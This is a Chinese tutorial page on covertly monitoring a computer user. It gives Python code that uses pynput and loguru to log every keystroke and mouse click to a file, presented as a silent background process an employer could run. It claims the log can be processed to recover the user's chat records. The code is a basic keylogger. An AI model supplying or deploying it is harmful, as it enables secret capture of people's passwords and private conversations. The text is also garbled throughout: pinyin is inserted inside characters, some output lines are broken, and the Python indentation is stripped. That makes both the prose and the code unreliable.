你知道怎么用Python監(jiān)控聊天記錄嗎

關(guān)于 pynput
pynput 可以監(jiān)控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監(jiān)控鍵盤和鼠標時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput。
實例
鍵盤監(jiān)控
假設公司想要靜默為我們的電腦常駐一個后臺進程去實現(xiàn)監(jiān)控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
復制代碼
控制臺打?。?#8195;

鼠標監(jiān)控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
復制代碼
控制臺打?。?#8195;

你會發(fā)現(xiàn),每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發(fā)鼠標事件。
監(jiān)控并記錄到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定義日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定義f1用于線程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定義f2用于線程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起兩個線程分別監(jiān)控鍵盤和鼠標
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
復制代碼
查看日志內(nèi)容:

如上,我們的鍵盤操作全部已經(jīng)被記錄,通過對這個日志文件進行簡單的 NLTK 語言處理,就能復原你的聊天記錄。
以上就是今天的全部內(nèi)容了,感謝您的閱讀,我們下節(jié)再會。
到此這篇關(guān)于你知道怎么用Python監(jiān)控聊天記錄嗎的文章就介紹到這了,更多相關(guān)Python 監(jiān)控內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python自動化辦公Excel模塊openpyxl原理及用法解析
這篇文章主要介紹了Python自動化辦公Excel模塊openpyxl原理及用法解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-11-11
關(guān)于Python核心框架tornado的異步協(xié)程的2種方法詳解
今天小編就為大家分享一篇關(guān)于Python核心框架tornado的異步協(xié)程的2種方法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-08-08
分析Python感知線程狀態(tài)的解決方案之Event與信號量
本文主要介紹了如何感知線程狀態(tài)、如何停止一個線程、線程之間的Event用法2021-06-06

